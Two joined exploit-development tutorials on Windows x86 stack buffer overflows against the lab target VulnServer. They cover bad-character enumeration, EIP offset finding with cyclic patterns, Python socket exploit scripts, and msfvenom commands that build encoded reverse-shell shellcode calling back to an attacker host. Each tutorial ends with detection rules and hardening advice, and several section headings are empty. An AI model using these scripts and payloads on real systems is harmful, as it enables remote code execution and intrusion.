Bad Characters, Null Bytes, and Restricted Character Sets

Objective: Understand why certain bytes corrupt, truncate, or transform shellcode in stack-based buffer overflows, how to systematically enumerate a target’s restricted character set, and how to adapt encoding or instruction substitution to survive those constraints — alongside how defenders detect the resulting exploitation patterns.

1. What Are Bad Characters? The Concept Explained

A bad character is any byte that causes the vulnerable application’s input-handling routine to misbehave: corrupt, truncate, or transform the payload before it reaches EIP. There is no universal set. The exact bad characters depend on the application’s parsing logic and the protocol in use.

Shellcode cannot contain bytes that the target interprets incorrectly — a newline, a delimiter, or a string terminator. The root cause is usually a string-handling function. C runtime (CRT) routines like strcpy, strncpy, strcat, sprintf, and the deprecated gets operate on null-terminated buffers and stop on specific sentinel bytes.

When you inspect memory after a crash, you are hunting for three distinct failure modes:

• Missing bytes — characters stripped entirely by a sanitiser.
• Altered bytes — characters transformed (e.g., \x80 appearing as \x01).
• Premature termination — a byte that halts the copy, so nothing after it is written.

Identifying which bytes trigger these behaviors is a mandatory phase before any reliable shellcode can be placed.

2. Why \x00 Is Always the First Enemy

The null byte (\x00) is always a bad character in string-based overflows. C-style string functions treat \x00 as the terminator, so any shellcode byte following a null is silently discarded.

At the assembly level, strlen walks the buffer comparing each byte to zero and breaks on a match — that loop defines the truncation boundary. This is not a convention; it is a property of how the Windows CRT and Win32 LPSTR / LPWSTR parameters handle null-terminated strings.

Network contexts differ. A socket recv call reads a fixed byte count and will pass null bytes through the wire into the buffer. So \x00 may survive transport but still die the moment the data hits a strcpy. Treat the string API and the socket as separate constraint layers.

3. Common Bad Characters by Protocol and Context

Restrictions come from three sources: protocol-specific rules (HTTP terminating on \x0D\x0A), application sanitisation (stripping nulls or high bytes), and encoding layers (Base64 or Unicode transformations).

A web server vulnerable in its URI handler is the canonical restricted-set case: the legal URI character set is small, and non-printable or extended characters are rejected outright, narrowing or preventing exploitation. SMTP, POP3, and FTP argument parsers each impose their own delimiters.

4. Building and Sending the Test Byte Array

The standard methodology: generate every non-null byte (\x01–\xFF), place it after the EIP-overwrite offset, crash the target, and compare sent versus received in memory. Python builds the array cleanly:

# Generate \x01 through \xFF (255 bytes, null excluded)
badchar_test = bytearray(range(1, 256))

offset   = 2003                     # VulnServer TRUN EIP offset (illustrative)
buf      = b"A" * offset
buf     += b"B" * 4                 # EIP overwrite marker
buf     += bytes(badchar_test)      # byte array lands at ESP
buf     += b"C" * (3000 - len(buf)) # padding

You then deliver that buffer to the vulnerable service running under a debugger:

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.56.10", 9999))
s.recv(1024)
s.send(b"TRUN /.:/" + buf)          # VulnServer TRUN command
s.close()

After the crash, the \x01–\xFF block should appear contiguously in memory, typically at or near ESP.

5. Inspecting Memory: Immunity Debugger and mona.py

In Immunity Debugger, follow ESP in the hex dump and use the mona plugin to diff what you sent against what landed.

!mona config -set workingfolder c:\mona\%p
!mona bytearray -cpb "\x00"
!mona compare -f c:\mona\bytearray.bin -a <ESP_address>

• !mona config sets the output directory.
• !mona bytearray -cpb "\x00" writes a reference bytearray.bin (all \x01–\xFF) excluding the specified bad chars.
• !mona compare diffs the reference file against the live memory at the supplied ESP address and prints a per-byte verdict.

Annotated mona output looks like:

[+] Comparing with memory at address 0x00ab1a30
    Only the first 18 bytes were identical
    Possibly bad chars: 0a 0d
[+] Bytes omitted from input: ...

6. Iterative Elimination: Narrowing the Bad List

Mona flags where the sequence diverges. The critical nuance: only the first byte of a corrupted run is necessarily bad. Subsequent corruption is often a knock-on effect of that first offender shifting alignment.

If memory shows 11 12 13 15 with 14 missing, then \x14 is the only confirmed bad character at that step — not \x15 or anything after it. Add \x14 to your exclusion list, regenerate, and re-run:

BADCHARS = b"\x00\x0a\x0d"          # grows one confirmed byte per pass

full = bytearray(range(1, 256))
test = bytes(b for b in full if b not in BADCHARS)

# rebuild buffer with `test`, resend, re-inspect under the debugger

Repeat the send → inspect → eliminate cycle until the entire \x01–\xFF block (minus the confirmed bad bytes) appears intact at ESP. Mirror the same exclusion list in !mona bytearray -cpb "..." so the reference file matches.

7. Encoding Shellcode with msfvenom

Once the bad-char set is known, generate shellcode that avoids it. msfvenom‘s -b flag specifies the forbidden bytes; it then picks an encoder — x86/shikata_ga_nai by default — to re-encode around them.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=443 \
  -b '\x00\x0a\x0d\x20' -e x86/shikata_ga_nai -f python

x86/shikata_ga_nai (ranked excellent) is a polymorphic XOR additive-feedback encoder. It reorders instructions and dynamically selects registers, producing different output each run and frustrating signature-based detection.

Size overhead is real. Encoding inflates the payload — a 71-byte stub can grow to 98 bytes after one shikata_ga_nai pass. Account for buffer space accordingly.

Failure case: when the bad-char list is too restrictive, shikata_ga_nai may abort with "A valid opcode permutation could not be found". Fall back to an alternative encoder:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=443 \
  -b '\x00\x0a\x0d\x20\xff' -e x86/call4_dword_xor -f python

x86/call4_dword_xor and x86/countdown use different decoder stubs that may satisfy tighter constraints.

8. Alphanumeric and Printable-Only Constraints

When so many bytes are forbidden that standard encoders fail, switch to printable-ASCII-only output. x86/alpha_mixed (msfvenom) and the standalone Alpha2 tool emit shellcode confined to the \x21–\x7E printable range — ideal when the target only passes printable URI characters.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.1 LPORT=443 \
  -e x86/alpha_mixed BufferRegister=ESP -f python

The BufferRegister option tells the decoder which register points to the payload, removing the self-locating GetPC stub. The trade-off is size — an alphanumeric payload can balloon to 710 bytes or more. When the available buffer cannot hold an inflated payload, stage a small egghunter to search memory for a larger second-stage payload placed elsewhere.

9. Instruction Substitution: Jumping Without Bad Opcodes

Sometimes the bad character lives in your jump opcode, not your shellcode body. The short JMP maps to \xEB, and \xEB is frequently bad in HTTP and other network-protocol targets — so the instruction cannot be used as-is.

A bad-char-safe substitution uses a conditional pair that, regardless of the zero flag, always transfers control:

    ; JMP SHORT replacement using complementary conditionals
    je  short target     ; 74 xx  -> jump if ZF=1
    jne short target     ; 75 xx  -> jump if ZF=0
    ; one branch is always taken; no \xEB byte present
target:
    ; decoder / shellcode continues here

In SEH overwrites, the 4-byte nSEH field typically holds a JMP SHORT to the handler stub — its opcode bytes must also dodge the bad-char set. Use mona or WinDbg to locate suitable jump equivalents and clean POP POP RET gadgets.

10. Unicode / Wide-Character Transformations

A distinct constraint class: some applications convert input via MultiByteToWideChar() (Win32) or mbstowcs() (CRT), expanding each byte to a wide character and effectively inserting a null after every byte. This breaks shellcode alignment entirely — it is transformation, not stripping.

# You send:        \x41\x42
# Memory shows:    \x41\x00\x42\x00   <- every odd byte zeroed
sent     = b"\x41\x42"
observed = b"\x41\x00\x42\x00"        # Unicode expansion in the debugger

A naive \x01–\xFF array will look catastrophically corrupted under this transformation because every byte appears null-padded. The classical mitigation is Venetian shellcode — manually constructed so that the injected null bytes become harmless padding instructions, letting the real opcodes survive expansion. Identify these buffers by spotting the regular \x00 interleave in the hex dump.

11. Common Attacker Techniques

These are pre-exploitation tradecraft — they enable shellcode delivery but execution and payload behavior are what generate detectable telemetry.

12. Defensive Strategies & Detection

Bad-char testing itself is quiet, but the encoded shellcode it produces is loud once it executes from unbacked memory.

Sysmon Event ID 10 (ProcessAccess) is the primary signal. Shellcode executing from anonymous stack or heap memory produces a CallTrace containing UNKNOWN frames — code with no backing image on disk.

title: Shellcode Injection via Suspicious Process Access
logsource:
  category: process_access
  product: windows
detection:
  selection:
    EventID: 10
    GrantedAccess:
      - '0x147a'
      - '0x1f3fff'
    CallTrace|contains: 'UNKNOWN'
  condition: selection
level: high

Additional telemetry and hardening:

• ETW — subscribe to Microsoft-Windows-Threat-Intelligence (ETWTI) to observe injection and memory manipulation; Microsoft-Windows-Security-Auditing for process audit events.
• Audit Process Creation (Detailed Tracking) → Security Event 4688 with command-line logging captures framework invocations.
• WAF / network — flag URI patterns carrying buffer-overflow payloads; a burst of access-violation or segfault alerts in a short window signals active exploitation attempts.
• Compiler mitigations — /GS, /SAFESEH, /DYNAMICBASE, /NXCOMPAT raise the exploitation bar.
• Input validation — allowlist legal characters at the boundary; explicitly reject \x00, \x0A, \x0D.
• WDEG — enforce DEP and CFG per-process via Set-ProcessMitigation.
• Memory integrity — flag executable pages not backed by a known on-disk image.
• Deploy Sysmon with a community baseline (SwiftOnSecurity, olafhartong sysmon-modular) to ensure EID 10 captures CallTrace.

13. Tools for Bad-Character Analysis

14. MITRE ATT&CK Mapping

Bad-char testing and shellcode crafting are pre-exploitation tradecraft with no standalone technique ID — they enable the techniques below.

Summary

• Bad characters are application-defined bytes that corrupt, truncate, or transform shellcode before it reaches EIP — you must enumerate them empirically, never assume.
• \x00 is always bad in string-based overflows because CRT functions like strcpy and strlen treat it as the terminator; sockets pass it but downstream string APIs still die on it.
• Enumerate with a \x01–\xFF byte array, diff memory using !mona compare, and remember only the first byte of a corrupted run is confirmed bad.
• Adapt with msfvenom -b encoding (shikata_ga_nai, falling back to call4_dword_xor or alpha_mixed), jump-opcode substitution, and Venetian shellcode for Unicode buffers.
• Detect the resulting payloads via Sysmon Event ID 10 with UNKNOWN CallTrace frames, ETWTI injection telemetry, and process-creation auditing (4688).

Related Tutorials

• Shellcode Encoders: XOR Encoding, Custom Decoders, and Avoiding Bad Chars
• Egghunters: Staged Payload Delivery When Buffer Space Is Tight
• Position-Independent Code: Writing PIC Shellcode Without Hardcoded Addresses
• Writing x64 Shellcode: Differences, Shadow Space, and Register Conventions
• Writing Your First Shellcode: x86 Reverse Shell from Scratch

References

• CAPEC-52: Embedding NULL Bytes – MITRE CAPEC
• CWE-158: Improper Neutralization of Null Byte or NUL Character – MITRE CWE
• Exploit Writing Tutorial Part 9: Introduction to Win32 Shellcoding (Bad Characters) – Corelan
• Exploit Writing Tutorial Part 1: Stack Based Overflows (Bad Characters & Restricted Chars) – Corelan
• Embedding Null Code – OWASP Foundation
• Exploiting x86 Stack Based Buffer Overflows (Null Bytes & Shellcode) – Exploit-DB

Finding the EIP Offset: Pattern Creation and Cyclic Patterns

Objective: Understand how to determine the exact EIP overwrite offset in a classic x86 stack-based buffer overflow by sending a cyclic (De Bruijn-derived) pattern, reading the value loaded into EIP at crash time, and calculating the precise byte distance from the buffer’s start to the saved return address — a repeatable, tool-agnostic workflow for authorized lab use.

1. Prerequisites and Lab Setup

This workflow assumes an isolated, authorized lab VM — never a production host. The classic offset-finding exercise targets a purpose-built vulnerable service such as vulnserver.exe or brainpan.exe, attached to a debugger.

You will need:

Attach Immunity to the running service (File → Attach), press F9 to resume, then drive input from your Python script across the network. Configure mona‘s working folder first:

!mona config -set workingfolder c:\mona\%p

2. The x86 Stack Frame: Why EIP Is the Target

EIP (Extended Instruction Pointer) is the 32-bit register holding the address of the next instruction. On function return, the ret instruction pops the saved return address off the stack into EIP. If you can overwrite that saved value, you control where execution flows next.

On a standard MSVC/GCC x86 cdecl frame, the layout is:

[  local buffer (N bytes)  ]   <- lower address, ESP near here on entry
[  saved EBP (4 bytes)     ]
[  saved EIP (4 bytes)     ]   <- overwrite target
[  function arguments      ]   <- higher address

The saved EIP sits above the saved EBP in the stack image. The offset is the byte distance from byte 0 of your input buffer to the first byte of saved EIP. ESP matters too: after ret, ESP advances past the popped return address and typically points directly into your attacker-controlled buffer region — the basis for later JMP ESP stages.

3. From Fuzzing to Approximate Crash Size

The prior stage — fuzzing — delivers progressively larger buffers of A bytes (\x41) until the service dies. When the debugger shows EIP = 41414141, the saved return address has been fully overwritten with As. That confirms EIP control but tells you nothing about where in the buffer EIP lands.

import socket, time

ip, port = "192.168.56.10", 9999
size = 100
while True:
    try:
        with socket.create_connection((ip, port), timeout=5) as s:
            buf = b"A" * size
            s.send(b"TRUN /.:/" + buf)   # protocol-specific prefix
            print(f"[*] Sent {size} bytes")
            size += 100
            time.sleep(1)
    except Exception:
        print(f"[!] Crash near {size} bytes")
        break

Round the crash size up to a clean number — say 2000 bytes. That value becomes the pattern length.

4. The Mathematics of Cyclic Patterns

EIP = 41414141 is ambiguous because every byte is identical. The fix is a cyclic pattern: a string in which every fixed-length substring appears exactly once. Find which substring landed in EIP, and you have the offset.

pwntools cyclic() generates a true De Bruijn sequence; msf-pattern_create uses the alphabet-based approach. Both yield a unique mapping you can query.

5. Generating the Pattern: Three Tool Paths

Generate a pattern equal to (or slightly larger than) the crash size. The -l flag is length; the -q flag (next section) is the query value.

Metasploit (Bash):

# Generate a 2000-byte non-repeating pattern
msf-pattern_create -l 2000
# Or the script directly:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000

mona.py (Immunity command bar):

!mona pc 2000

pwntools (Python 3):

from pwn import *
pattern = cyclic(2000)
print(pattern)

Tip: Generate a pattern 400 bytes larger than the crash buffer to also reveal whether shellcode space exists immediately after the EIP overwrite.

6. Sending the Pattern and Capturing the EIP Value

Replace the A buffer in your fuzzing script with the generated pattern, reattach Immunity, and reproduce the crash.

import socket

pattern = b"Aa0Aa1Aa2Aa3Aa4..."   # paste msf-pattern_create -l 2000 output
ip, port = "192.168.56.10", 9999

with socket.create_connection((ip, port)) as s:
    s.send(b"TRUN /.:/" + pattern)

When the process faults, read the 4-byte EIP value from Immunity’s register panel — for example 6F43396E.

Little-endian note: Values are written to the stack least-significant-byte first. A debugger may display the register as 6F43396E. Tools like pattern_offset handle endianness internally, so pass the displayed value as-is. A manual ASCII lookup, however, requires reversal: 6F43396E → 6E39436F → n9Co.

7. Calculating the Exact Offset

Feed the EIP value into any of the three tools. All return the same byte distance.

Metasploit (Bash):

# -q is the query switch; pass the EIP value from the debugger
msf-pattern_offset -l 2000 -q 6F43396E
# Output:
# [*] Exact match at offset 1978

mona.py (Immunity): findmsp searches every register and the stack against the pattern.

!mona findmsp -distance 2000

Read the log line:

EIP contains normal pattern : ... (offset 1978)

(!mona po 6F43396E performs the same lookup by hex value.)

pwntools (Python 3): cyclic_find accepts the packed 4-byte value.

from pwn import *
offset = cyclic_find(p32(0x6161616c))   # value read from EIP
print(offset)                            # -> integer byte offset

gdb-peda‘s pattern_search reports all three at once on Linux targets — e.g. EIP+0 found at offset: 1040 and [ESP] --> offset 1044 — useful for spotting where ESP lands relative to EIP.

8. Verifying EIP Control

Never trust a calculated offset blindly. Confirm it by overwriting EIP with a known marker. Set payload to empty and retn to "BBBB":

import socket

prefix   = b"TRUN /.:/"
offset   = 1978
overflow = b"A" * offset
retn     = b"BBBB"          # 0x42424242
payload  = b""              # no payload yet — verification only

buf = prefix + overflow + retn + payload

with socket.create_connection(("192.168.56.10", 9999)) as s:
    s.send(buf)

Reload the app in Immunity and re-send. If the offset is correct, EIP shows 42424242 — the hex of “BBBB”. You now control execution flow exactly. Confirm ESP also points into your buffer; that location holds the bytes that follow retn and becomes your future code-redirect landing zone.

The conceptual stack image after the overwrite:

[ AAAA AAAA ... AAAA ]   offset bytes filling buffer + saved EBP
[ BBBB ]                 saved EIP = 0x42424242  (controlled)
[ CCCC ... ]             ESP region (future shellcode space)

9. Common Pitfalls and Edge Cases

• Pattern shorter than the real offset: EIP holds bytes from beyond your pattern; the offset tool returns no match. Regenerate longer.
• Bad characters: Bytes like \x00, \x0a, \x0d can truncate or corrupt the pattern mid-stream, shifting EIP unpredictably. Bad-char analysis is a separate stage.
• Modern mitigations: ASLR and DEP/NX invalidate the naive EIP→ESP→shellcode chain on hardened targets. The offset still exists, but exploitation requires bypasses (covered in later tutorials).
• SEH-based overflows: When the buffer overruns the Structured Exception Handler instead of the saved return address, EIP may not show pattern bytes directly — !mona findmsp will instead report the offset to the SEH/nSEH records.

10. Common Attacker Techniques

Offset discovery is a development sub-step that feeds the techniques below.

11. Defensive Strategies and Detection

Detection splits into two contexts: catching exploitation attempts against a service, and catching the crash-loop behaviour of fuzzing/pattern delivery.

Crash and process telemetry:

• Application Error — Event ID 1000 (Application log): logged on 0xC0000005 (Access Violation) when EIP corruption kills the process; the faulting address is the pattern value (e.g. 0x41307241).
• Windows Error Reporting — Event ID 1001: WER bucket data, faulting instruction pointer, and dump path for post-crash forensics.
• Sysmon Event ID 3 (Network Connection): repeated high-rate TCP connections to a single service port during fuzzing and pattern delivery are anomalous — watch DestinationPort and SourceIp.
• Sysmon Event ID 1 (Process Create): child processes spawned if the overflow reaches code execution — inspect CommandLine, ParentImage, IntegrityLevel.

ETW providers: Microsoft-Windows-WER-SystemErrorReporting emits access-violation crash events; Microsoft-Windows-Kernel-Process reveals abnormal crash-and-restart loops via process start/stop events. Forward both to a SIEM.

A repeated-crash detection sketch (illustrative):

title: Repeated Application Crash Loop (Possible Buffer Overflow Fuzzing)
logsource:
  product: windows
  service: application
detection:
  selection:
    EventID: 1000
    ExceptionCode: '0xc0000005'   # Access Violation
  timeframe: 1m
  condition: selection | count() > 5   # repeated crashes = fuzzing indicator
level: high

Hardening checklist (raises the bar from “find the bug” to “bypass every mitigation”):

• Compile with /GS stack security cookies — a mismatch triggers __security_check_cookie() and terminates before ret.
• Enable DEP/NX system-wide: bcdedit /set nx AlwaysOn.
• Enable ASLR: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\MoveImages = 1.
• Compile with Control Flow Guard: /guard:cf.
• Link with SafeSEH (/SAFESEH) to block SEH overwrites on x86.
• Replace unbounded strcpy, gets, scanf("%s", ...) with strcpy_s, strncpy_s, gets_s.
• Run Application Verifier with heap and stack checks during development.

These map to MITRE mitigation M1050 — Exploit Protection.

12. Tools for Offset Analysis

13. MITRE ATT&CK Mapping

Offset finding is a pre-exploitation development sub-step with no dedicated technique ID; it supports the techniques below.

Summary

• The EIP offset is the exact byte distance from your buffer’s start to the saved return address — and a cyclic pattern finds it deterministically.
• A De Bruijn / Metasploit pattern makes every fixed-length window unique, so the value popped into EIP maps to a single position.
• Generate with msf-pattern_create, !mona pc, or cyclic(); resolve with msf-pattern_offset -q, !mona findmsp, or cyclic_find().
• Verify by overwriting EIP with "BBBB" and confirming EIP = 42424242; remember little-endian display order.
• Defenders catch the activity via Event ID 1000 (0xC0000005) crash loops and Sysmon Event ID 3 connection floods; M1050 controls (DEP, ASLR, CFG, /GS) raise the exploitation bar dramatically.

Related Tutorials

• Egghunters: Staged Payload Delivery When Buffer Space Is Tight
• Shellcode Encoders: XOR Encoding, Custom Decoders, and Avoiding Bad Chars
• Position-Independent Code: Writing PIC Shellcode Without Hardcoded Addresses
• Writing x64 Shellcode: Differences, Shadow Space, and Register Conventions
• Writing Your First Shellcode: x86 Reverse Shell from Scratch

References

• Metasploit Unleashed: Writing an Exploit (pattern_create & pattern_offset)
• pwnlib.util.cyclic — Generation of Unique Sequences — pwntools 4.15.0 Documentation
• CAPEC-100: Overflow Buffers (Version 3.9) — MITRE CAPEC
• Exploitation for Client Execution, Technique T1203 — MITRE ATT&CK
• dostackbufferoverflowgood Tutorial (EIP Offset via Cyclic Pattern) — GitHub/justinsteven
• pwnlib.elf.corefile — Core Files (cyclic + EIP offset automation) — pwntools 4.15.0 Documentation